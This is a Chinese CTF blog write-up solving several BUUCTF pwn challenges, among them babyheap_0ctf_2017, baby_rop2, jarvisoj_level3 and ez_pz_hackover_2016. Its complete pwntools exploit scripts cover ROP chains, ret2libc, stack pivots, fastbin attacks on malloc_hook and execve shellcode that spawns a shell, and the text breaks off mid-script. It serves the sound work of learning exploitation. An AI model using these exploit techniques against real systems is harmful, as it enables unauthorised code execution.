    edx -> NULL

我们先整理出来需要用到的指令

	inc_eax_ret = 0x80484D3
	inc_ecx_ret = 0x80484D7
	pop_ebx_ret = 0x804835d
	pop_edi_ebp_ret = 0x804864E
	pop_ebp_ret = 0x804864F
	add_ecx_ecx_ret = 0x804849a
	int_80 = 0x80484D0

	printf_plt = 0x8048370
	gets_n = 0x80484E3
	bin_sh_bss = 0x0804A028
	null_ecx_pos = 0x8048851

第一步:利用get_n函数将/bin/sh写入到bss段

第二步:调用printf函数打印/bin/sh,这个时候eax和ecx被控制成字符串长度7

第三步:利用inc eax控制好eax值

第四步:利用pop ebx控制ebx

第五步:利用add ecx,ecxinc ecxecx控制到null_ecx_pos

第六步:调用int 80h

直接看代码把,但是这个题目不能这么打,会因为程序异常失败

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26332
	conn = remote("localhost" ,1234)
	#conn = remote(HOST ,PORT)

	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./pwn2_sctf_2016")
	#pwnlib.gdb.attach(conn,"b *0x080485B7\nb *0x0804859D\n")	
	pause()
	inc_eax_ret = 0x80484D3
	inc_ecx_ret = 0x80484D7
	pop_ebx_ret = 0x804835d
	pop_edi_ebp_ret = 0x804864E
	pop_ebp_ret = 0x804864F
	add_ecx_ecx_ret = 0x804849a
	int_80 = 0x80484D0

	printf_plt = 0x8048370
	gets_n = 0x80484E3
	bin_sh_bss = 0x0804A028
	null_ecx_pos = 0x8048851

	conn.recvuntil("How many bytes do you want me to read?")
	conn.sendline("-1")
	conn.recvuntil("Ok, sounds good. Give me")

	payload = "A" * 0x30
	#1  向bss段中写入/bin/sh
	payload += (p32(gets_n) + p32(pop_edi_ebp_ret) + p32(bin_sh_bss) + p32(0x11111111))
	#2  输出bss段中写入的/bin/sh,此时控制eax和ecx为0x7
	payload += (p32(printf_plt) + p32(pop_ebp_ret) + p32(bin_sh_bss))
	#3  将eax加至0xb
	payload += (p32(inc_eax_ret)*4)
	#4  ebx指向ebx
	payload += (p32(pop_ebx_ret) + p32(bin_sh_bss))
	#5  这个很精华,控制ecx通过add和inc操作从0x7增加至一个指向为NULL的地址
	ecx_now = 0x7
	target_ecx = null_ecx_pos
	info = null_ecx_pos
	temp = []
	#如果需要+1填充0,如果需要*2填充1
	while info != ecx_now:
		if info < ecx_now * 2:
			temp.append(0)
			info -= 1
		elif info % 2 == 0:
			temp.append(1)
			info /= 2
		else:
			temp.append(0)
			info -= 1
	for index in range(len(temp)-1,-1,-1):
		if temp[index] == 0:
			payload += p32(inc_ecx_ret)
		elif temp[index] == 1:
			payload += p32(add_ecx_ecx_ret)
	#6  触发int 80
	payload += p32(int_80)

	conn.sendline(payload)	
	pause()
	conn.sendline("/bin/sh\x00")	

	conn.interactive()

方法二:知道libc情况下计算调用system函数
这个就是一般的栈溢出的利用思路,只不过注意buuctf的libc是在网站上给了的,和libcsearcher下载的不太一样
然后再寻找/bin/sh字符串学到了新方法,这个方法直接放代码了,很清楚了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25725
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./pwn2_sctf_2016")
	#pwnlib.gdb.attach(conn,"b *0x080485B7\nb *0x804852F\n")	

	'''步骤一:利用栈溢出泄露libc地址,调用printf函数'''
	printf_plt = 0x8048370
	vlun = 0x804852F
	printf_got = 0x804A00C
	__libc_start_main = 0x804a018
	
	conn.recvuntil("How many bytes do you want me to read?")
	conn.sendline("-1")
	conn.recvuntil("Ok, sounds good. Give me")
	
	payload = "A"*0x30 + p32(printf_plt) + p32(vlun) + p32(__libc_start_main)	#返回vuln函数
	conn.sendline(payload)
	conn.recvuntil("\n")

	__libc_start_main_leak = u32(conn.recv(4))
	print "The __libc_start_main leak is",hex(__libc_start_main_leak)

	#判断libc的版本
	libc = LibcSearcher("__libc_start_main",__libc_start_main_leak)
	libc_base = __libc_start_main_leak - libc.dump("__libc_start_main")
	print "The libc base is",hex(libc_base)
	
	'''步骤二:调用system函数'''
	conn.recvuntil("How many bytes do you want me to read?")
	conn.sendline("-1")	
	conn.recvuntil("Ok, sounds good. Give me")
	
	system = libc_base + libc.dump("system")	
	bin_sh = libc_base + libc.dump("str_bin_sh")	#这个搜索/bin/sh字符串
	exit = libc_base + libc.dump("exit")			#需要使函数正常退出,否则会报错timeout: the monitored command dumped core
	
	payload = "A"*0x30 + p32(system) + p32(exit)  + p32(bin_sh)
	conn.sendline(payload)	

	conn.interactive()

babyheap_0ctf_2017(Chunk Extend + Fastbin attack)

这个题目可以说是堆溢出的经典题目了,整体上思路是利用fill函数的写溢出,通过Chunk Extend的方法构造fake chunk,再泄露出main_arena地址,然后用fastbin bin attack控制malloc hook和realloc hook实现onegadget
函数功能很简单,不再过多赘述,具体的细节再下面的步骤中提及
第一步:利用Chunk Extend制造fake chunk
首先是为什么一定要这样?因为程序中对dump内容的长度是有限制的
BUUCTF【pwn】解题记录(1-3页已完结)_第12张图片

	'''步骤一:利用Chunk Extend,伪造第2块的长度'''
	allocate(0x90) #0
	allocate(0x20) #1
	allocate(0x20) #2
	allocate(0x90) #3
	allocate(0x20) #4
	allocate(0x60) #5
	allocate(0x20) #6
	allocate(0x60) #7
	allocate(0x20) #8

	payload = "A"*0x20 + p64(0) + p64(0xd1)		#通过对1块的越界写伪造2块长度
	fill(1,payload)

	free(2)				
	allocate(0xc0) #2   通过free再malloc,将0xc0的长度记录再记录堆长度table中去,这样我们就可以解决dump长度受限的问题了

	fix = p64(0)*5 + p64(0xa1)		#在malloc大小为0xd0的第2块时,第3块的smallbin会被清零,需要修复第三块信息
	fill(2,fix)

第二步:利用smallbin泄露main arena地址
这一步是常规操作了,直接看代码就能看懂

第三步:fastbin attack 实现堆malloc hook和realloc hook的控制
这一步也是常规操作,注意在申请malloc hook附近的串要错位申请,申请大小只能时0x60,这也是为什么前面的第五个块大小是0x60的原因,同一个fastbin链的Size必须是一致的

	'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
	free(7)
	free(5)
	payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3)	#这里注意错位
	fill(4,payload)
	allocate(0x60) #0
	allocate(0x60) #3

第四步:计算onegadget偏移,触发漏洞

总结代码如下

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def allocate(size):
	conn.recvuntil("Command:")
	conn.sendline("1")
	conn.recvuntil("Size:")
	conn.sendline(str(size))

def fill(index,content):
	conn.recvuntil("Command:")
	conn.sendline("2")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))
	conn.recvuntil("Size:")
	conn.sendline(str(len(content)))
	conn.recvuntil("Content:")
	conn.send(content)

def free(index):
	conn.recvuntil("Command:")
	conn.sendline("3")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

def dump(index):
	conn.recvuntil("Command:")
	conn.sendline("4")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28616
	conn = remote(HOST ,PORT)
	'''步骤一:利用Chunk Extend,伪造第2块的长度'''
	allocate(0x90) #0
	allocate(0x20) #1
	allocate(0x20) #2
	allocate(0x90) #3
	allocate(0x20) #4
	allocate(0x60) #5
	allocate(0x20) #6
	allocate(0x60) #7
	allocate(0x20) #8

	payload = "A"*0x20 + p64(0) + p64(0xd1)		#通过对1块的越界写伪造2块长度
	fill(1,payload)

	free(2)				
	allocate(0xc0) #2   通过free再malloc,将0xc0的长度记录再记录堆长度table中去,这样我们就可以解决dump长度受限的问题了

	fix = p64(0)*5 + p64(0xa1)		#在malloc大小为0xd0的第2块时,第3块的smallbin会被清零,需要修复第三块信息
	fill(2,fix)

	'''第二步:利用smallbin泄露main arena地址'''
	free(3)
	free(0)

	payload = "A"*0x30		#利用步骤一伪造的bin,填充第二块后,可以泄露块3的内容
	fill(2,payload)
	dump(2)

	conn.recvuntil("A"*0x30)
	main_arena_88 = conn.recv(6).ljust(8,"\x00")
	main_arena = u64(main_arena_88) - 88 
	malloc_hook = main_arena - 0x10
	print "The malloc hook is",hex(malloc_hook)		#计算malloc hook地址

	libc = LibcSearcher("__malloc_hook",malloc_hook)
	libc_base = malloc_hook - libc.dump("__malloc_hook")
	print "The libc base is ",hex(libc_base)		#计算libc基地址

	'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
	free(7)
	free(5)
	payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3)	#这里注意错位
	fill(4,payload)
	allocate(0x60) #0
	allocate(0x60) #3

	'''第四步:利用malloc hook和realloc hook实现onegadget'''
	one_gadget = libc_base + 0xf1147
	print "The one_gadget is",hex(one_gadget)
	realloc = libc_base + libc.dump("realloc")
	print "The realloc is ",hex(realloc)
	payload = "\x00" * (0x8 + 3) + p64(one_gadget)+ p64(realloc)
	fill(3,payload)
	# malloc hook -> realloc hook -> onegadget

	allocate(0x20)		#触发malloc hook

	conn.interactive()

[HarekazeCTF2019]baby_rop2(leave_ret + 万能gadget + onegadget)

这个题目有点意思,可以好好讲讲(前提是我们已经知道了题目得libc了)
首先我们简单分析一下题目,栈溢出是非常明显的
BUUCTF【pwn】解题记录(1-3页已完结)_第13张图片

但是我们仔细看汇编,发现main函数的结尾是由leave得,也就是说,我们在不知道栈空间得情况下很难第二次指向main函数
BUUCTF【pwn】解题记录(1-3页已完结)_第14张图片

但是变相得说,我们就可以通过控制rbp来操作esp指向得空间了

题目分析完了大致的思路走起来
步骤一:通过第一次栈溢出调用printf函数,泄露read的got表内容
这个就是常规操作,我在本地实验的时候不知道为社么直接用rdi指向raed got会失败,所以我严格按照了main函数中调用printf的过程

	call_printf = 0x4004F0
	string_offset = 0x400770		# Welcome to the Pwn World again, %s!\n
	printf_got = 0x601018
	read_got = 0x601020
	pop_rdi_ret = 0x400733
	pop_rsi_r15_ret = 0x400731
	main = 0x400636
	data = 0x601000
	leave_ret = 0x4006CA
	rop_gadget1 = 0x40072a
	rop_gadget2 = 0x400710

	payload = "A"*0x28 
	payload += p64(pop_rdi_ret) + p64(string_offset)					#控制rdi指向string_offset
	payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(read_got)		#控制rsi指向read got
	payload += p64(call_printf) 

    ...
    
	payload = p64(one_gadget) + p64(0) *10 		#将onegadget地址写入即将转移的栈地址空间,这里写很多0也是为了满足onegadget条件
	conn.sendline(payload)

步骤二:通过调用万能gadget实现将转移后的onegadget地址写入data段
这一步跨度比较大,首先我们使用_libc_csu_init的万能函数实现对read的调用
BUUCTF【pwn】解题记录(1-3页已完结)_第15张图片

调用read函数将计算好的onegadget地址写入到栈转移后的位置,再其中过程中注意几个小问题:
第一,在调用rop1的时候需要控制rbx为0,成功调用rop2中的call函数,rop1中的rbp需要为0x1,再调用call函数后通过cmp比较执行到ret
第二,需要再rop2,再调用call之后,再次控制rbp到写入onegadget地址-0x8的位置,最终实现栈的转移

    payload = ...
    
	payload += p64(rop_gadget1)
	payload += p64(0) 				#rbx
	payload += p64(1) 				#rbp		为了通过cmp  rbx, rbp
	payload += p64(read_got) 		#r12
	payload += p64(0x100) 			#r13
	payload += p64(data) 			#r14
	payload += p64(0)				#r15

	payload += p64(rop_gadget2) 	
	payload += p64(0)*2 			#add rsp, 8 和 pop rbx
	payload += p64(data-0x8) 		#rbp  这里指向转移的栈地址
	payload += p64(0)*4 			#其他寄存器,不重要了

	payload += p64(leave_ret)		#通过调用leave ret实现栈转移

具体的调试走一遍流程就清楚了,个人再本地调试遇到一些小问题,不过都顺利解决了,希望帮助到大家!

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def allocate(size):
	conn.recvuntil("Command:")
	conn.sendline("1")
	conn.recvuntil("Size:")
	conn.sendline(str(size))

def fill(index,content):
	conn.recvuntil("Command:")
	conn.sendline("2")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))
	conn.recvuntil("Size:")
	conn.sendline(str(len(content)))
	conn.recvuntil("Content:")
	conn.send(content)

def free(index):
	conn.recvuntil("Command:")
	conn.sendline("3")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

def dump(index):
	conn.recvuntil("Command:")
	conn.sendline("4")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25992
	conn = remote(HOST ,PORT)
	pause()

	'''第一部分:通过栈溢出实现泄露read got,用万能gadget函数实现调用read函数写入onegadget,最终leave实现栈空间转移'''
	call_printf = 0x4004F0
	string_offset = 0x400770		# Welcome to the Pwn World again, %s!\n
	printf_got = 0x601018
	read_got = 0x601020
	pop_rdi_ret = 0x400733
	pop_rsi_r15_ret = 0x400731
	main = 0x400636
	data = 0x601000
	leave_ret = 0x4006CA
	rop_gadget1 = 0x40072a
	rop_gadget2 = 0x400710

	payload = "A"*0x28 
	payload += p64(pop_rdi_ret) + p64(string_offset)					#控制rdi指向string_offset
	payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(read_got)		#控制rsi指向read got
	payload += p64(call_printf) 										#调用printf plt

	payload += p64(rop_gadget1)		#rop1
	payload += p64(0) 				#rbx
	payload += p64(1) 				#rbp		为了通过cmp  rbx, rbp
	payload += p64(read_got) 		#r12
	payload += p64(0x100) 			#r13
	payload += p64(data) 			#r14
	payload += p64(0)				#r15

	payload += p64(rop_gadget2) 	#rop2
	payload += p64(0)*2 			#add rsp, 8 和 pop rbx
	payload += p64(data-0x8) 		#rbp  这里指向转移的栈地址
	payload += p64(0)*4 			#其他寄存器,不重要了

	payload += p64(leave_ret)		#通过调用leave ret实现栈转移

	conn.recvuntil("What's your name?")
	conn.sendline(payload)
	conn.recvuntil("Welcome to the Pwn World again, ")
	conn.recvuntil("Welcome to the Pwn World again, ")

	read_leak = conn.recv(6).ljust(8,"\x00")
	read_leak = u64(read_leak)
	print "The read leak is",hex(read_leak)		#泄露的read got内容
	
	libc_base = read_leak - 0xF7250				#计算libc偏移,再已知libc情况下直接用
	print "The libc base is",hex(libc_base)

	one_gadget = libc_base + 0x4526a			#计算onegadget函数
	print "The one_gadget is",hex(one_gadget)

	#pause()
	'''第二部分:调用read输入写入的onegadget内容'''
	payload = p64(one_gadget) + p64(0) *10 		#将onegadget地址写入即将转移的栈地址空间,这里写很多0也是为了满足onegadget条件
	conn.sendline(payload)

	conn.interactive()

ciscn_2019_es_2 (巧用leave ret控制esp)

这个题目其实也是基础题,但是稍微高级了一丢丢,主要的思路还是利用2次leave ret指令实现对esp的控制,这么麻烦的原因就是栈溢出只能控制一个ret地址,不足以直接构造ROP链
步骤一:通过第一次的read和printf函数组合,泄露ebp地址,从而计算出第二次输入的地址空间
这个很简单,没什么好说的

步骤二:直接再输入构造ROP链
这个时候需要注意以下几点:

  • 需要计算输入/bin/sh的地址,根据ebp计算即可
    BUUCTF【pwn】解题记录(1-3页已完结)_第16张图片
  • 需要控制好ebp的值,指向leak_ebp-0x30
  • 需要控制ret地址指向leave ret

最终就可以实现stack point指针指向我们构造的位置

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25096
	conn = process("./ciscn_2019_es_2")

	call_system = 0x08048559
	main = 0x08048622
	leave_ret = 0x80485FD

	'''步骤一:泄露ebp的内容'''
	payload = "A"*0x28
	conn.recvuntil("Welcome, my friend. What's your name?")
	conn.send(payload)	
	conn.recvuntil("A"*0x28)
	ebp_leak = u32(conn.recv(4))
	print "The ebp leak is",hex(ebp_leak)

	'''步骤二:构造ROP链'''
	payload = p32(call_system) + p32(ebp_leak-0x30) + "/bin/sh\x00"		#写入调用system函数,注意ebp_leak-0x30指向的是/bin/sh字符串
	payload = payload.ljust(0x28,"\x00")
	payload += p32(ebp_leak -0x3c) + p32(leave_ret)		#控制ebp的值,然后返回值leave ret实现stack pivot

	conn.send(payload)

	conn.interactive()

jarvisoj_tell_me_something

又是最最简单的栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25610

	conn = remote(HOST ,PORT)
	pause()
	ROP1 = 0x04006EA
	ROP2 = 0x04006D0
	write_got = 0x0600AE0
	main = 0x04004E0
	good_game = 0x400620

	conn.recvuntil("Input your message:\n")
	payload = "A"*0x88
	#payload += p64(ROP1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1)
	#payload += p64(ROP2) + 
	payload += p64(good_game)
	conn.sendline(payload)

	pause()
	conn.interactive()

ciscn_2019_s_3

这个题目时SROP一个简单的应用场景,可以参考我的学习笔记,里面又题目详细的解析过程。【SROP学习笔记】

教程在这里,看过来呀看过来

jarvisoj_level3(stack pivot)

没想到这么长时间过去了,做这种题目还是不是很熟练,说明能力还是没有那么强呀。
这个题目很简单,需要利用stack pivot技术转移栈空间,原理就是通过leave ret实现,很好理解,但是我们在实施过程中需要有多次调用vulnerable_function,这就需要我们细心计算RBP的值。
肯定有人不理解,为什么不能在一次栈溢出完成更多功能,这是因为我们用one gadget势必需要调用write函数泄露got表内容,但在write函数结束后返回地址需要pop值得时候,只有一个指令满足条件,且会改变esi值,这就打破了onegadget得前提条件,用两个图解释
BUUCTF【pwn】解题记录(1-3页已完结)_第17张图片

BUUCTF【pwn】解题记录(1-3页已完结)_第18张图片

漏洞就是简单的栈溢出漏洞,不再分析,下面讲一下解题步骤:
第一步:选择一个可读写的地址,直接将栈空间转移至此
这里选择一个转移后的地址one_gadget_pos,在第一次调用vulnerable_function得时候,调用一次read函数在one_gadget_pos写入vulnerable_function函数地址,注意控制rbp地址
我们构造payload如下

	payload = "A"*0x88
	payload += p32(one_gadget_pos - 0x4)		#注意计算rbp得值
	payload += p32(read_plt)					#调用一次read函数,将vulnerable_function地址写在新得栈空间作为返回地址
	payload += p32(leave_ret)
	payload += p32(0)  + p32(one_gadget_pos) + p32(8)
	conn.send(payload)

	pause()
	payload = p32(vulnerable_function)
	conn.send(payload)

在栈转移后ret地址和栈空间如下,然后又调用了第二次vulnerable_function函数
BUUCTF【pwn】解题记录(1-3页已完结)_第19张图片

第二步:第二次调用vlun函数,泄露read得got表地址
当我们栈空间已经转移以后,需要精确得控制rbp,以达到第三次能够调用vuln函数得作用,具体如下,其实可以边调试边修改

	conn.recvuntil("Input:")
	payload = "A"*0x8c							#这里得ebp先不用管,我们通过后面得pop rbp进行修正
	payload += p32(pop_ebp)						#pop rbp
	payload += p32(one_gadget_pos + 0x20 - 0x4)	#rbp要计算好,正好跳到此段payload最后返回vuln得位置
	payload += p32(write_plt)					#调用write函数
	payload += p32(leave_ret)					#write调用后得返回地址,再次调用leave ret控制rsp
	payload += p32(1)  + p32(read_got) + p32(4)
	payload += p32(vulnerable_function)
	conn.sendline(payload)

第三步:就比较简单了,直接利用onegadget
因为不涉及rbp得控制,直接利用即可

	payload = "A"*0x8c
	payload += p32(one_gadget)
	payload += p32(0) * 10

总体上不难,但是需要吧细节想清楚

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28958

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./level3")
	#pwnlib.gdb.attach(conn,"b *0x8048482\n\n")
	
	pause()
	read_plt = 0x08048310
	write_plt = 0x08048340
	vulnerable_function = 0x0804844B
	read_got = 0x0804A00C
	pop_ebp = 0x0804851B
	one_gadget_pos = 0x0804A200
	leave_ret = 0x08048482

	'''第一步:选择一个可读写的地址one_gadget_pos,直接将栈空间转移至此'''
	conn.recvuntil("Input:")
	payload = "A"*0x88
	payload += p32(one_gadget_pos - 0x4)		#注意计算rbp得值
	payload += p32(read_plt)					#调用一次read函数,将vulnerable_function地址写在新得栈空间作为返回地址
	payload += p32(leave_ret)
	payload += p32(0)  + p32(one_gadget_pos) + p32(8)
	conn.send(payload)

	pause()
	payload = p32(vulnerable_function)
	conn.send(payload)

	'''step2: read leak '''
	conn.recvuntil("Input:")
	payload = "A"*0x8c							#这里得ebp先不用管,我们通过后面得pop rbp进行修正
	payload += p32(pop_ebp)						#pop rbp
	payload += p32(one_gadget_pos + 0x20 - 0x4)	#rbp要计算好,正好跳到此段payload最后返回vuln得位置
	payload += p32(write_plt)					#调用write函数
	payload += p32(leave_ret)					#write调用后得返回地址,再次调用leave ret控制rsp
	payload += p32(1)  + p32(read_got) + p32(4)
	payload += p32(vulnerable_function)
	conn.sendline(payload)
	pause()
	
	conn.recvuntil("\n")
	read_leak = conn.recv(4)
	read_leak = u32(read_leak)
	print "The read leak is ",hex(read_leak)

	libc = LibcSearcher("read",read_leak)
	libc_base = read_leak - libc.dump("read")
	print "The libc base is",hex(libc_base)

	'''step3: 调用第三次vuln函数,触发one gadget'''

	conn.recvuntil("Input:")
	one_gadget = libc_base + 0x3a80c #0x3d2b0
	payload = "A"*0x8c
	payload += p32(one_gadget)
	payload += p32(0) * 10
	conn.send(payload)

	pause()
	
	conn.interactive()

ez_pz_hackover_2016

送分题,本质上还是一个栈溢出,而且没有对战不可执行得保护,所以说可以为所欲为,并且还直接有个格式化字符串得到了栈地址,直接在栈上写shellcode就好了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26135
	conn = remote(HOST ,PORT)

	conn.recvuntil("Yippie, lets crash: ")
	stack_leak = conn.recvuntil("\n")
	stack_leak = int(stack_leak,16)
	print "The stack leak is",hex(stack_leak)
	target_point = stack_leak - 0x1c

	shellcode = shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

	conn.recvuntil("Whats your name?")
	payload = "crashme\x00"
	payload = payload.ljust(0x1a,"A")
	payload += p32(target_point)
	payload += shellcode
	
	conn.sendline(payload)

	conn.interactive()

picoctf_2018_rop chain

没什么技术含量,就是调用3个函数组合一个ROP链而已

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26595
	conn = remote(HOST ,PORT)

	win_function1 = 0x080485CB
	win_function2 = 0x080485D8
	flag = 0x0804862B
	pop_ebx = 0x0804840d

	conn.recvuntil("Enter your input> ")
	
	payload = "A" * 0x1c
	payload += p32(win_function1)
	payload += p32(win_function2)
	payload += p32(pop_ebx)
	payload += p32(0xbaaaaaad)
	payload += p32(flag)
	payload += p32(0xDEADBAAD)
	payload += p32(0xDEADBAAD)
	payload += p32(0xDEADBAAD)
	
	conn.sendline(payload)
	
	conn.interactive()

[Black Watch 入群题]PWN(stack pivot)

还是leave_ret转移栈空间的技术,没什么特别的,前面碰到过更复杂的这里就不细说了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25849
	conn = remote(HOST ,PORT)

	write_plt = 0x8048380
	write_got = 0x804A01C
	read_plt = 0x08048340
	data_offset = 0x804A300
	pop_ebx_ret = 0x08048329
	pop_ebp_ret = 0x080485ab
	leave_ret = 0x08048511

	conn.recvuntil("Hello good Ctfer!")
	payload = p32(pop_ebp_ret)				#通过输入s全局变量,提前布置转移后的栈空间
	payload += p32(data_offset + 0x18)		#控制ebp,为了write函数后通过leave ret返回至下面的地址	
	payload += p32(write_plt) 				#通过write函数泄露write_got内容
	payload += p32(leave_ret)				#write函数调用后用leave控制esp指针
	payload += p32(1)
	payload += p32(write_got)
	payload += p32(4)
	payload += p32(pop_ebp_ret)				#write函数之后通过leave ret将esp指向这里
	payload += p32(data_offset + 0x50 -4)	#再次控制esp,使得read之后通过leave ret返回写入onegadget地址的位置
	payload += p32(read_plt)				#调用read函数在data_offset + 0x50 位置写入onegadget
	payload += p32(leave_ret)
	payload += p32(0)
	payload += p32(data_offset + 0x50)
	payload += p32(0x200)
	conn.send(payload)

	conn.recvuntil("What do you want to say?")		#接收泄露的write got内容
	payload = "A" * 0x18
	payload += p32(data_offset -0x4)
	payload += p32(leave_ret)
	conn.send(payload)
	
	pause()
	write_leak = conn.recv(4)
	write_leak = u32(write_leak)
	print "The write leak is ",hex(write_leak)

	libc = LibcSearcher("write",write_leak)			#写入data_offset + 0x50的具体内容
	libc_base = write_leak - libc.dump("write")
	one_gadget = libc_base + 0x3a80c#0x3d2b0
	payload = p32(one_gadget) + p32(0) * 20
	conn.send(payload)
	#pause()
	
	conn.interactive()

jarvisoj_level4

再次看到这个的时候突然发现之前想复杂了,其实之前考虑用stack pivot就是考虑多次leave ret不能多次使用vlun函数,但是其实如果时调用main函数,在调用vuln函数,ebp就会恢复正常。真的草率了。这样在判断libc版本以后其实就可以直接搜索/bin/shsystem函数地址调用了,草率了…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
	HOST = 'node4.buuoj.cn'
	PORT = 27148
	io = remote(HOST ,PORT)
	elf = ELF("./level4")
	context(os = "linux", arch = "i386")

	read_got = elf.got['read']
	write_plt= elf.plt['write']
	main_addr = 0x8048470

	payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
	io.send(payload)

	read_addr = u32(io.recv(4))

	libc = LibcSearcher("read",read_addr)
	libc_base = read_addr - libc.dump('read')
	sys_addr = libc_base + libc.dump('system')
	bin_sh_addr = libc_base + libc.dump("str_bin_sh")

	payload = (0x88+0x04)*'a'+p32(sys_addr)+p32(0)+p32(bin_sh_addr)
	io.send(payload)
	io.interactive()

jarvisoj_level3_x64

就是正常的万能gadget,然后调用onegadget就行了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27015
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./level3_x64")
    #pwnlib.gdb.attach(conn,"b *0x40061A\n\n")
    pause()

    rop1 = 0x04006AA
    rop2 = 0x400690
    write_got = 0x600A58
    main = 0x040061A

    conn.recvuntil("Input:\n")
    paylaod = "A"* 0x88
    paylaod += p64(rop1)
    paylaod += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1)
    paylaod += p64(rop2)
    paylaod += p64(0) * 7
    paylaod += p64(main)
    conn.send(paylaod)

    write_leak = conn.recv(8)
    write_leak = u64(write_leak)
    print "The write leak is",hex(write_leak)
    libc = LibcSearcher("write",write_leak)
    libc_base = write_leak - libc.dump("write")
    print "The libc base is",hex(libc_base)


    one_gadget = libc_base + 0x4526a
    conn.recvuntil("Input:\n")
    paylaod = "A"* 0x88
    paylaod += p64(one_gadget)
    paylaod += p64(0)*10
    conn.send(paylaod)


    pause()
    conn.interactive()

bjdctf_2020_babyrop2

标准的ret_2_libc问题,就是加了个cannary,通过格式化字符串泄露一下就行

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
